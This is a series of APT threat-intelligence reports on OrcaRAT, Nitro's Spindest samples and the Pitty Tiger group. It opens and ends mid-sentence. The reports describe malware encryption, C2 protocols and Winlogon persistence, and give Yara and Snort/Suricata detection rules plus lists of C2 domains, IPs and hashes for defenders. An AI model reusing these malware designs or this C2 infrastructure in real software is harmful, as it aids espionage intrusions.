far, unnamed by the AV community - especially when the malware in question may have links to a well-known APT group. In my line of work I analyse several unknown malware samples a week, but often it turns out that they are simply new variants of existing malware families. Recently I was fortunate enough to be handed something that not only had a low detection rate but, aside from heuristics, seemed to be relatively unknown to the top 40 anti-virus companies. In this post I will walk you through the malware family we ve dubbed OrcaRAT First of all, it is worth pointing out that most of the malware I see on a day-to-day basis is espionage orientated, and very rarely do the programmers and operators make much effort to cover their tracks. The use of forged HTTP headers is a common occurrence and simple mistakes within these headers are frequent. The malware in question was handed to me by one of our threat intelligence analysts who was hunting through infrastructure associated with some samples of Comfoo[1] malware and happened across a malware sample (253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613) he didn recognise. He immediately took the malware and passed it through first stage analysis, which involves running the file in a sandbox environment. After this, he handed it over for more in-depth capability analysis. The structure I began by looking over the sandbox report. The first thing that drew my attention was the URI structure. (A screenshot showing the HTTP headers and URI structure that OrcaRAT produces) To those of us who are familiar with decoding data, you will notice that the URI string formatting appears to be a modified version of the Base64 algorithm. To understand this structure more, we must reverse engineer the functions that generate and then encode the data. Firstly we begin by analysing the routines that produce the data which is later encoded and sent in the HTTP URI field. The very first thing that jumped out when disassembling the malware is the simplicity and cleanliness of the code. There are also a significant number of Windows Crypto API[2] functions imported by the malware, so we can assume this indicates that it uses encryption. (A screenshot showing the functions that are imported by OrcaRAT) Delving deeper in to the disassembly, we come across the preamble to the URI generation function: (A screenshot showing the decoding and generation of a string value) The function above uses Windows crypto API to generate a random number of 6 bytes, then dynamically builds and appends the word OrcaKiller on to the end of this number. In one such example the final product was "\x61\xBA\xF4\x44\x52\xF1OrcaKiller" (where \x denotes hexadecimal values). Once this value has been produced, the malware begins constructing the URI. With many pieces of malware the initial communications that it sends out to its command and control server (known as beaconing or phoning home) usually include pieces of information about the victim system. OrcaRAT is no exception. The randomly generated values noted above are actually used to encrypt several pieces of information that are extracted from the system, and even the key itself is included. (A screenshot showing an encryption function used by OrcaRAT) All of the values extracted from the system are encrypted using the RC4[3] algorithm and then base64 encoded. The RC4 encryption key is derived from an MD5 hash[4] of the randomly generated bytes concatenated with the OrcaKiller string. Once the data has been encrypted it is base64 encoded. Any forward slashes in the base64 string are replaced with a tilde - pseudo code is shown below. Once all of the values have been encrypted and formatted the URI has the following structure: (A screenshot showing the URI structure of OrcaRAT command and control activity) The campaign ID value is constructed using a method similar to that for the encryption key. (A screenshot showing the generation of the first hidden string value) It would appear that the authors did not want anybody to be able to easily see this value. This now gives us OrcaKiller and wHaLe. It would appear that our adversary has a salty sense of humour. Command and control As with all malware, the command and control functions reveal the true nature and intent of the operators. Up until now we have only determined how the malware communicates with the server. We will now investigate the mechanisms that the server uses to communicate and interact with the victim. The command and control routine in OrcaRAT appears to serve two purposes. Interestingly these routines are split in to two branches. Each branch of command and control activity is determined by the unique response from the remote server. Command and control takes form of a webpage. Unlike malware designed by the well-known Comment Crew[5], this group does not hide these commands in HTML comments, but instead places them in plain view. The first set of commands force the malware to behave as a simple downloader. (A screenshot showing OrcaRAT parsing the HTML code behind a webpage) Upon downloading the webpage from the server the malware looks for specific sets of HTML tags. The first set are

and the terminating tag

. Once the malware has found these tags it drops in to the first command and control function. The malware then extracts the payload text between the HTML tags and runs it through a decryption routine. The same encryption key that is sent in the URI string is used to decrypt the text. Once the payload text has been decrypted the malware treats this as a binary executable file, which is then written to the disk and executed. The second set of HTML tags allows the operator to drop the malware in to a set of remote control functions. This time the malware searches for the

tag that is terminated by

. Once the payload text between these tags has been extracted it is then decrypted using the encryption key found in the URI string. The payload text from this page is much smaller and ultimately points to the command function that the operator has executed. (A screenshot showing the structure of the command and control routines within OrcaRAT) The command and control structure is fairly simplistic but provides the operator with access to the victim machine s filesystem and command line, and as such allows the attacker to perform various tasks such as executing arbitrary commands or uploading and downloading files from the compromised system. After a command and control message is received, OrcaRAT sends an HTTP POST message back to the command and control server. Each time that the URI is built it generates a new encryption key, showing that the command and control server is at least serving dynamic content. Given the command structure above, it is logical to assume that the command and control server requires an operator to manually issue specific commands to the victim workstation, with the default command likely being sleep Given the information above we can reasonably assume that this malware was most likely designed as a first stage implant. History has shown that malware designed in this way is usually done so to allow the operator an initial level of access to the compromised system, usually for surveying the victim and then deciding whether to deploy a more capable and valuable second stage malware implant. Detection Once OrcaRAT has been delivered to a victim system there are a number of ways to detect it. Firstly we will cover disk detection using Yara. The rule below will detect an OrcaRAT binary executable that has been written to a compromised machine s disk. rule OrcaRAT meta: author = PwC Cyber Threat Operations :: @tlansec" distribution = "TLP WHITE" sha1 = "253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613" strings: $MZ="MZ" $apptype1="application/x-ms-application" $apptype2="application/x-ms-xbap" $apptype3="application/vnd.ms-xpsdocument" $apptype4="application/xaml+xml" $apptype5="application/x-shockwave-flash" $apptype6="image/pjpeg" $err1="Set return time error = %d!" $err2="Set return time success!" $err3="Quit success!" condition: $MZ at 0 and filesize < 500KB and (all of ($apptype*) and 1 of ($err*)) OrcaRAT can also be detected in two separate ways at the network level using a Snort or Suricata IDS rule. Detecting malware at different stages of connectivity can be important. By creating signatures with a nexus to the kill chain[6] we can determine which stage the intrusion has reached. The two signatures below will indicate whether the intrusion has reached the command and control or action-on phases. Snort: alert tcp any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant check-in"; flow:established,from_client; urilen: 67<>170; content:"User-Agent: Mozilla/4.0 (compatible\; MSIE 8.0\; Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; .NET4.0C\; .NET4.0E)"; http_header; content:"GET"; http_method; pcre:"/^\/[A-Za-z0-9+~=] {14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) alert tcp any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant C2 confirmation response"; flow:established,from_client; urilen: 67<>170; content:"User-Agent: Mozilla/4.0 (compatible\; MSIE 8.0\; Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; .NET4.0C\; .NET4.0E)"; http_header; content:"POST"; http_method; pcre:"/^\/[A-Za-z0-9+~=] {14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) Suricata: alert http any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant check-in"; flow:established,from_client; urilen: 67<>170; content:" Mozilla/4.0 (compatible\; MSIE 8.0\; Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; .NET4.0C\; .NET4.0E)"; http_user_agent; content:"GET"; http_method; pcre:"/^\/[A-Za-z0-9+~=] {14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) alert http any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant C2 confirmation response"; flow:established,from_client; urilen: 67<>170; content:" Mozilla/4.0 (compatible\; MSIE 8.0\; Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; .NET4.0C\; .NET4.0E)"; http_user_agent; content:"POST"; http_method; pcre:"/^\/[A-Za-z0-9+~=] {14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) Appendix A: Samples of Orca RAT: Hash 07b40312047f204a2c1fbd94fba6f53b adda.lengendport.com f6456b115e325b612e0d144c8090720f tsl.gettrials.com 139b8e1b665bb9237ec51ec4bef22f58 auty.organiccrap.com Appendix B: Related indicators Indicator Type 11.38.64.251 IP Address 123.120.115.77 IP Address 123.120.99.228 IP Address 142.0.134.20 IP Address 147.96.68.184 IP Address 176.31.24.182 IP Address 176.31.24.184 IP Address 190.114.241.170 IP Address 200.78.201.24 IP Address 202.124.151.94 IP Address 202.2.108.142 IP Address 203.146.251.11 IP Address 204.152.209.74 IP Address 213.147.54.170 IP Address 23.19.39.19 IP Address 58.71.158.21 IP Address 62.73.174.134 IP Address 71.183.67.163 IP Address 74.116.128.15 IP Address 81.218.149.207 IP Address 84c68f2d2dd569c4620dabcecd477e69 Hash 8fbc8c7d62a41b6513603c4051a3ee7b Hash 91.198.50.31 IP Address adda.lengendport.com Domain affisensors.com Domain analysis.ittecbbs.com Domain at.acmetoy.com Domain aucy.affisensors.com Domain auty.organiccrap.com Domain bbs.dynssl.com Domain bbs.serveuser.com Domain bbslab.acmetoy.com Domain bbslab.lflink.com Domain cdna.acmetoy.com Domain cune.lengendport.com Domain cure.yourtrap.com Domain dasheng.lonidc.com Domain dns.affisensors.com Domain edu.authorizeddns.org Domain edu.onmypc.org Domain fee0e6b8157099ad09380a94b7cbbea4 Hash ftp.bbs.dynssl.com Domain ftp.bbs.serveuser.com Domain ftp.bbslab.acmetoy.com Domain ftp.edu.authorizeddns.org Domain ftp.edu.onmypc.org Domain ftp.lucy.justdied.com Domain ftp.nuac.jkub.com Domain ftp.osk.lflink.com Domain ftp.reg.dsmtp.com Domain ftp.tt0320.portrelay.com Domain home.affisensors.com Domain hot.mrface.com Domain info.affisensors.com Domain jucy.wikaba.com Domain jutty.organiccrap.com Domain lengendport.com Domain lucy.justdied.com Domain newtect.ddns.us Domain nuac.jkub.com Domain nunok.ninth.biz Domain osk.lflink.com Domain philipine.gnway.net Domain pure.mypop3.org Domain reg.dsmtp.com Domain tt0320.portrelay.com Domain venus.gr8domain.biz Domain www.bbs.dynssl.com Domain www.bbs.serveuser.com Domain www.bbslab.acmetoy.com Domain www.edu.authorizeddns.org Domain www.edu.onmypc.org Domain www.fgtr.info Domain www.hot.mrface.com Domain www.ktry.info Domain www.lucy.justdied.com Domain www.osk.lflink.com Domain www.reg.dsmtp.com Domain www.tt0320.portrelay.com Domain [1] http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ [2] http://msdn.microsoft.com/en-gb/library/windows/desktop/aa380255(v=vs.85).aspx [3] http://en.wikipedia.org/wiki/RC4 [4] http://en.wikipedia.org/wiki/MD5 [5] http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf [6] http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-WhitePaper-Intel-Driven-Defense.pdf New Indicators of Compromise for APT Group Nitro Uncovered In mid-July of this year, we noticed yet another legitimate website had been compromised by APT actors and was serving malware. In this case, it was a group commonly referred to as Nitro, which was coined by Symantec in its 2011 whitepaper. As we dug deeper, we found additional compromised legitimate websites and malware from the same group back through March of this year. In most instances, the malware is one commonly referred to as Spindest, though we also found PCClient and Farfli variants in use by the group. We don t have enough data to say for certain that all of the malware in this blog was delivered via compromised legitimate websites. Historically, Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware, which was not seen in these attacks. Since at least 2013, Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites, as reported by Cyber Squared s TCIRT. Our findings indicate they are continuing to evolve with the addition of PCClient and Farfli variants. The Maltego screenshot below shows the activity we describe in this blog. These events impacted at least the following industries, across four waves: A US based IT Solutions provider; The European office of a major, US based commercial vendor of space imagery and geospatial content; A European leader in power technologies and automation for utilities and industry; A US based provider of medical and dental imaging systems and IT solutions. In July, Nitro compromised a South Korean clothing and accessories manufacturer s website to serve malware commonly referred to as Spindest. Of all the samples we ve tied to this activity so far noted in this blog, this is the only one configured to connect directly to an IP address for Command and Control (C2). This IP address has been in use by this group for some time, which is interesting since they have evolved other components of their kill chain over time to ensure malware delivery, but oddly not altered their C2 infrastructure. It is simple for companies to block any outbound traffic to this IP, which would negate the effort Nitro put into successfully delivering the malware. 37 AV vendors within VirusTotal properly identify it, and the PE timestamp shows the day before we saw it. In addition, the following three samples were found roughly a week apart from each other, possibly indicating the timing of the waves of activity. Table 1 SHA256 0a1103bc90725d4665b932f88e81d39eafa5823b0de3ab146e2d4548b7da79a0 7915aabb2e66ff14841e4ef0fbff7486 File Name update.exe File Size 106496 First Seen 2014-07-24 11:54:02 C2 IP 223.25.233.248 The next sample we found is commonly known as PCClient, which is not malware previously tied to this group. We discovered this, and many of the following samples, through historic IP resolution overlap between the same domains alternately resolving to either the 223.25.233.248 or 196.45.144.12. The second IP has also not been reported as tied to this group before. However, this shifting of IP resolutions back and forth indicates Nitro is in control of these domains. It also makes is fairly easy for any Infosec team to reach the same conclusion we did, which again negates their use both of a previously unreported domain and IP for C2, as well as a new family of malware. 25 AV vendors within VirusTotal properly classify this sample as malware. Its PE timestamp was 8 July, almost a week prior when we first saw it. Table 2 SHA256 8aef92a986568ba31729269efa31a2488f35920d136ab41cb6fce55fd8e0b4b7 7522baef20df95eeeeafdf4efe3aac3c File Name lsm.exe File Size 65536 First Seen 2014-07-15 11:48:33 C2 URL xenserver.ddns[.]net Resolution 196.45.144.12 The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample. In addition, Nitro chose to use the same C2 for this sample, making it easy to both find and tie to the group. 41 AV vendors within VirusTotal properly classify this sample as malware. Table 3 SHA256 995bc16a5c2c212b57ba00c2376ac57c8032c7f2b1d521f995a5e1d49066d64d 6527ba8baab0f86b0ffb6178247772c4 File Name install_reader11_en_aaa_aih.exe File Type File Size 81920 First Seen 2014-07-09 16:31:26 C2 URL xenserver.ddns[.]net Resolution 196.45.144.12 The next wave of activity we found took place in mid-May. Both samples were Spindest variants with the same PE timestamp of 15 May. While neither MD5s for C2 match, the aforementioned link to a post by Cyber Squared s TCIRT did document Nitro using Spindest variants with the same file name starting late December last year. In that case they used the historic C2 IP we note in Table 1 in this blog. 34 AV vendors within VirusTotal properly classify the first sample as malware, and 40 AV Vendors the second sample. Table 4 SHA256 e7f2af8c48f837da57000c068368d77bc9b06eba1e077edfab58df6aa2ea40ec 271e6a4d45c2817f86148ca413f97604 File Name mdm.exe File Size 118784 First Seen 2014-05-20 08:43:15 C2 URL zipoo.redirectme[.]net Resolution 196.45.144.12 Table 5 SHA256 e601da16f923b33465dbafbff9d47195e8fc50099fd0581a16a1745bf890afb6 be765cd5723e4366d35172aaf13fad44 File Name CitrixReceiverWeb.exe File Size 135168 First Seen 2014-05-15 16:34:10 C2 URL zipoo.redirectme[.]net Resolution 196.45.144.12 The malware dropped was configured to use good.myftp[.]org as the C2 URL, and the IP resolution was 223.25.233.248. Both of these are known Nitro Indicators of Compromise (IOCs). In this case, the malware was a Farfli variant, again not a malware previously tied to this group. 39 AV vendors within VirusTotal properly identify the file as malware. The PE timestamp on the file was 1 April, about two weeks before we saw the file. Continuing the activity, we discovered the actors had compromised a legitimate website belonging to an international technology company that provides Software Configuration and Change Management (SCCM) solutions in mid-May. (It is a well regarded company and partners with large companies such as Microsoft.) Table 6 SHA256 184c083e839451c2ab0de7a89aa801dc0458e2bd1fe79e60f35c26d92a0dbf6a ec519d709c0582346741fe0094208216 File Name update.exe File Size 159744 First Seen 2014-04-15 01:13:14 C2 URL good.myftp[.]org Resolution 223.25.233.248 The final sample, from mid-March, was also hosted on a compromised legitimate website, this time a small, US based IT company. The IP resolved by the C2 URL was changed two days after we saw this file to overlap with good.myftp[.]org for a month before returning the below resolution. The filename matches that of the sample in Table 5, which had a very similar third level C2 domain and the same IP resolution. This is also a Spindest variant with a PE timestamp of the same day we saw it. 39 AV vendors within VirusTotal properly identify the file as malware. Table 7 SHA256 ffbddfb536e8e604c880ec977d06f804a500fc0396899bd2c195fb1f5b74207a a3b2e34973691ad320b70248bd67fbd2 File Name CitrixReceiverWeb.exe File Size 192512 First Seen 2014-03-12 06:58:22 C2 URL zip.redirectme[.]net Resolution 196.45.144.12 As this post and previous cited research show, APT groups such as Nitro will continue to evolve their techniques within the kill chain to avoid detection. However, they also demonstrate the value of tracking these threats over time, as this allowed us to uncover and properly attribute the new IOCs because Nitro was still re-using old C2 infrastructure with their new malware. For Palo Alto Networks customers, all of these files were properly identified by WildFire as malware and all of the C2 domains are labeled as threats in both Threat Prevention and URL Filtering systems. Pitty Tiger Group The Eye of the Tiger Credits: Ivan FONTARENSKY Malware Research Fabien PERIGAUD Reverse Engineering Ronan MOUCHOUX Threat Intelligence Cedric PERNET Threat Intelligence David BIZEUL Head of CSIRT Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 1/58 Operation Pitty Tiger The Eye of the Tiger EXECUTIVE SUMMARY Operation Pitty Tiger The Eye of the Tiger Cyber espionage has been a hot topic through the last years. Computer attacks known as (Advanced Persistent Threat) have become widely reported and emphasized by the media, damages are now considered as real and strategic trends are moving in cyber defense. AIRBUS Defence & Space CyberSecurity unit responds to such attacks for its customers every day, developing a complete range of solutions. Today, we decided to release publicly information on a specific group of APT attackers known as Pitty Tiger . This information comes directly from investigations led by our Threat Intelligence. Pitty Tiger is a group of attackers that have been active since at least 2011. They have targeted private companies in several sectors, such as defense and telecommunications, but also at least one government. We have been able to track down this group of attackers and can provide detailed information about them. We were able to collect and reveal their malware arsenal . We also analyzed their technical organization. Our investigations indicate that Pitty Tiger has not used any 0day vulnerability so far, rather they prefer using custom malware, developed for the group s exclusive usage. Our discoveries indicate that Pitty Tiger is a group of attackers with the ability to stay under the radar, yet still not as mature as other groups of attackers we monitor. Pitty Tiger is probably not a state-sponsored group of attackers. They lack the experience and financial support that one would expect from state-sponsored attackers. We suppose this group is opportunistic and sells its services to probable competitors of their targets in the private sector. We have been able to leverage several attackers profiles, showing that the Pitty Tiger group is fairly small compared to other APT groups, which is probably why we saw them work on a very limited amount of targets. At the end of this report, we provide indicators of compromise to help people detect current Pitty Tiger attacks. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 2/58 Operation Pitty Tiger The Eye of the Tiger TABLE OF CONTENT EXECUTIVE SUMMARY ..................................................................................................... 2 TABLE OF CONTENT......................................................................................................... 3 MODUS OPERANDI: APT ATTACKS ................................................................................ 5 Reconnaissance phase.......................................................................................................... 5 Initial compromise .................................................................................................................. 6 Access strengthening & lateral moves ................................................................................... 6 Data exfiltration ...................................................................................................................... 7 PITTY TIGER INVESTIGATION CONTEXT .................................................................... 8 INFECTION METHODS....................................................................................................... 9 Spear Phishing and weaponized documents ......................................................................... 9 Direct attacks ....................................................................................................................... 10 MALWARE INFORMATION .............................................................................................. 12 Troj/ReRol.A ........................................................................................................................ 12 PittyTiger RAT ..................................................................................................................... 16 CT RAT................................................................................................................................ 19 MM RAT (aka Troj/Goldsun-B) ............................................................................................. 23 Paladin RAT ........................................................................................................................ 26 Leo RAT .............................................................................................................................. 28 INFRASTRUCTURE .......................................................................................................... 30 Avstore.com.tw .................................................................................................................... 30 Skypetm.com.tw .................................................................................................................. 32 Common characteristics between the two domains ............................................................. 35 Other domains linked with the Pitty Tiger group ................................................................... 36 VICTIMS ............................................................................................................................ 39 ATTACKERS ..................................................................................................................... 40 Attacker s connections to the c&c ........................................................................................ 40 TooT .................................................................................................................................. 44 Cold & Snow ...................................................................................................................... 48 Roles and organization ........................................................................................................ 48 Attackers arsenal ................................................................................................................. 49 ATTRIBUTION .................................................................................................................. 53 CONCLUSION ................................................................................................................... 56 INDICATORS .................................................................................................................... 57 Domains .............................................................................................................................. 57 Malware hashes................................................................................................................... 57 Malware Strings ................................................................................................................... 58 Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 3/58 Operation Pitty Tiger The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 4/58 Operation Pitty Tiger The Eye of the Tiger MODUS OPERANDI: APT ATTACKS APT attacks follow what we call the APT kill chain . The kill chain describes briefly the way attackers do perform their actions. It can be summarized by the following scheme: RECONNAISSANCE PHASE The reconnaissance phase commences when an attacker selects a new target and involves the acquisition of information about that target. There is very little information available about this phase, and there is little data about it. The only way to collect information about this phase would be to already monitor all attackers actions at this step, which is hardly feasible. The longer the attackers spend time in attempting to understand their target and its online presence, the easier it will be to find efficient ways to penetrate that company s systems. This reconnaissance phase is both about finding information to break into the targeted network successfully and about searching for data which could help to accelerate sensitive information isolation (like the name of a key employee for example). Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 5/58 Operation Pitty Tiger The Eye of the Tiger This phase mostly relies on open sources from the Internet: social networks, press releases, white papers, corporate websites, search engines, but also on some active tools like vulnerability scanners etc. INITIAL COMPROMISE At this stage, the APT attackers have a solid knowledge of their target and its key employees. The attackers have everything they need to start looking for an entry point to the company s network and establish one or several permanent backdoors into the environment. The attackers mostly rely on two techniques here to infect one or several computers, usually workstations, inside the target s network: spear phishing and drive-by downloads. Spear phishing can be described as targeted e-mail phishing. In a spear phishing scheme, attackers send very few e-mails to targeted people. In fact, they can even send just a single e-mail. The trick is to target the right victim and provide it with the right content, so that they will click on a link leading to drive-by download of a malware, or open an attached file which will infect their computer. Some groups of attackers also use watering hole techniques to successfully compromise their targets. To build a watering hole attack, attackers do compromise the website of a third party, generally a supplier of the target, which is typically visited by a specific group of professionals and very likely by the target. Every visitor of the compromised third party is then infected. The method has one major drawback: it will also infect third parties who visit the website. Attackers have developed ways to avoid this. If their reconnaissance phase has been done effectively, they already know all IP ranges used by the target company. It just takes a few lines of code in the infecting script to only compromise visitors coming from the target IP ranges. Direct attacks against servers of the target can also be a way to penetrate the target s network. ACCESS STRENGTHENING & LATERAL MOVES Attackers have gained access to one or several machines inside the target s corporate network. They need to install several different backdoors in order to be able to always access the network. In case one backdoor falls, there will be others. As soon as the attackers are sure they have enough access, they start looking for two things: intellectual property (or anything else they want to know or steal) in alignment with predefined mission objectives, and a means of privilege escalation to facilitate lateral movement within the compromised environment. It generally does not take long before the attackers gain domain administrator privileges and dump all the Active Directory content. They use lateral moves between machines inside the network, and look for everything they need. This step is very hard to detect, since they only use valid credentials and legitimate administration tools such as PsExec. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 6/58 Operation Pitty Tiger The Eye of the Tiger DATA EXFILTRATION Data exfiltration is the last step before the attackers loop to the lateral moves step, in a never-ending circle of prolonged access and information theft. They generally create archive files containing the content they want to exfiltrate, which are then sent to the attackers by using a remote administration tool (RAT) or transfer protocols such as FTP and HTTP. This phase is not the end of an APT attack. The attackers loop to the access strengthening/lateral moves stage and generally keep stealing more information and stay inside the network for more data gathering. For more information about all the APT phases, please refer to our APT Kill Chain blog post serie1. http://blog.cassidiancybersecurity.com/tag/APT Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 7/58 Operation Pitty Tiger The Eye of the Tiger PITTY TIGER INVESTIGATION CONTEXT During our regular investigations on APT cases, one particular variant of malware caught our attention, because we had not faced it before. We decided to spend some time to investigate around this malware and found out that it was used exclusively by a single group of attackers. This malware family is known as PittyTiger by the anti-virus research community. We discovered this malware sample in June 2014, leading to a command & control (c&c) server still in activity. Our researches around this particular malware family revealed the Pitty Tiger group has been active since 2011, yet we found other publications1 which could probably be attributed to the same group of attacker back in 20102. This group uses other malware and tools during their APT operations, in addition to the PittyTiger RAT. A variant of the infamous Gh0st RAT dubbed Paladin has been used repeatedly by the PT group, together with other RATs which seem to be developed exclusively for the PT group: MM RAT (aka Troj/Goldsun-B), and CT RAT . Another variant of Gh0st RAT named has been found inactive on a c&c server. We also found another malware, named Troj/ReRol.A . This one is also used by the group to infect workstations, collect system information, and install more malware on the infected computer. It acts as a first stage downloader and system data collector often used in the initial compromise of the Pitty Tiger campaigns, generally embedded in Microsoft Office documents. Thanks to server s misconfigurations, we managed to get information from three c&c servers used by this group of attackers, which provided us with insight from the end of 2013 to the beginning of July 2014. Our investigation has been focused on the data we could get from these c&c servers but also on the Pitty Tiger environment. This whitepaper aims to expose the view we have on the group, especially on their infrastructure and capabilities. We hope this publication will bring further counter analysis from the research community to enrich the global common threat knowledge. http://nakedsecurity.sophos.com/2012/08/03/poisoned-doc-targeted-malware-attack/ http://nakedsecurity.sophos.com/2010/06/24/targeted-trident-cyberattack-defence-company/ Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 8/58 Operation Pitty Tiger The Eye of the Tiger INFECTION METHODS SPEAR PHISHING AND WEAPONIZED DOCUMENTS Pitty Tiger, like most other APT groups, use spear phishing e-mails extensively in order to gain an initial foothold within the targeted environment. We have been able to find a spear phishing e-mail crafted by the attackers. This e-mail spoofed the identity of an employee of a targeted company: From: XXXXXXX To: XXXXXXX File: 1 Attachment: Bird s Eye Point of View.doc While the holiday season means clustering clustering time for a vacation for many, there are Those That Will Be of us staying home this year. That s why we ve Decided to take you on a trip around the world from a bird s eye view of the item! It s safe to say That MOST of the lucky people on vacation Will not see breathtaking sights like these. Remember to look down! XXXXXX The attached file is a Microsoft Office Word document triggering CVE-2014-1761 to infect the computer it is sent to: Word document used to infect computers with Troj/ReRol.A Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 9/58 Operation Pitty Tiger The Eye of the Tiger While this example looks very amateur for a spear phishing attempt, we suppose the group has conducted more advanced spear phishing campaigns, based on the fact that we found infected Word documents showing content stolen from victims of the group. These documents were infecting the system with Troj/ReRol.A malware, which we will detail later in this report. This could mean that the Pitty Tiger group is using stolen material as spear phishing content either to target other persons in the compromised company, or to target other persons in a competitor company, or more generally to compromise another target. Pitty Tiger also seem to use fake Microsoft Office Excel content, yet we could only find empty content delivering once again the Troj/ReRol.A malware. DIRECT ATTACKS Although we have not been able to find evidences of any attack aimed at exploiting vulnerabilities on the group s targets servers, we have been able to record several vulnerability scanning launched from one c&c server straight to the targets. The attackers have been using different vulnerability scanners aimed at their targets. While some targets have been scanned with generic vulnerability scanning tools like HScan or Fluxay and port scanners like Nmap, some other targets have been scanned for very specific vulnerabilities, like a ZyWALL vulnerability or a FORTINET product. We have also been able to testify that the Pitty Tiger group has successfully collected information on some of their targets by exploiting the HeartBleed1 bug. This vulnerability which exists on some old versions of OpenSSL allows attackers to collect data from chunks of memory from the targeted machine. It allowed the Pitty Tiger group to get admin credentials from at least one target, for example. Memory data leak from one server Heartbleed exploit on one of PittyTiger s targets http://heartbleed.com/ Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 10/58 Operation Pitty Tiger The Eye of the Tiger Running automated vulnerability scanners on whole ranges of IP addresses used by the targets or on several domains is a very noisy way to collect information and find server vulnerabilities. We would advocate that this method is unwise when you want to stay furtive, and doing it from a c&c server is very surprising, to say the least. While the Pitty Tiger group is experienced on some aspects on its running APT campaigns, it definitely lacks some maturity here. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 11/58 Operation Pitty Tiger The Eye of the Tiger MALWARE INFORMATION TROJ/REROL.A One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability. The payload infecting the system is malware known as Troj/ReRol.A . It is generally the first step of the initial compromise for Pitty Tiger campaigns. Exploitation We have been able to find one such document1 used by that group of attacker, exploiting CVE2012-0158, an old critical vulnerability impacting Microsoft Office and corrected by Microsoft MS12-027 fix in April 2012. This vulnerability affects Microsoft Office versions up to Office 2010. We also found one RTF document embedding CVE-2014-1761, which is a more recent exploit. We discovered several different documents spreading this malware by triggering CVE-2012-0158 vulnerability, yet we could not share them in this report, since these documents contain information about victims of the Pitty Tiger group. The discovery of this vulnerability exploitation in June 2014 could mean that the Pitty Tiger group has no direct access to 0day exploits, or not enough budgets to buy some. It could also mean they use their low range exploit by default because it is working on their targets and is sufficient to compromise their workstations. The Word document we initially found was probably a test document used by the group. When opened, it shows a single line written in Chinese language, which can be translated as Hello! Microsoft Office Word decoy test document used by the Pitty Tiger group Installation When successfully triggered, the exploit infects the host by dropping and executing a file named svohost.exe 2 in the temporary folder of the currently logged-in user: MD5 hash: e70c0479cdb9aa031a263740365e7939 MD5 hash: 1752aacc08ee0acd58405e9bc10b0dbb Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 12/58 Operation Pitty Tiger The Eye of the Tiger C:\DOCUME~1\USER\LOCALS~1\Temp\svohost.exe This binary is Troj/ReRol.A according to Sophos naming convention1. It immediately triggers alarms on our sandbox: Alarms in our sandbox system, triggered by the Troj/ReRol.A malware The binary drops a copy of itself in the Application Data folder of the currently logged-in user: Creation of a copy of the Pitty Tiger malware in a user folder in our sandbox The malware initiates a communication to time.windows.com to check for connectivity, and then communicates with the c&c server at mac.avstore.com.tw. http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~RerolA/detailed-analysis.aspx Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 13/58 Operation Pitty Tiger The Eye of the Tiger Beginning of an encrypted communication between the Troj/ReRol.A malware and its c&c server Very few variants of Troj/ReRol.A are public. The variants we have seen did use that same UserAgent: Mozilla/4.0 (compatible;) The persistence mechanism used by the malware is the creation of a registry key named Shell containing the path to the malware on the infected system: Key Path: \REGISTRY\USER\\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name : Shell Value : explorer.exe,C:\DOCUME~1\XXXXXX\APPLIC~1\svohost.exe, The payload of this malware is used to collect information on the newly infected host, and send it back to the c&c server. It can also download and execute binaries. Command & Control The data sent in the POST request has a 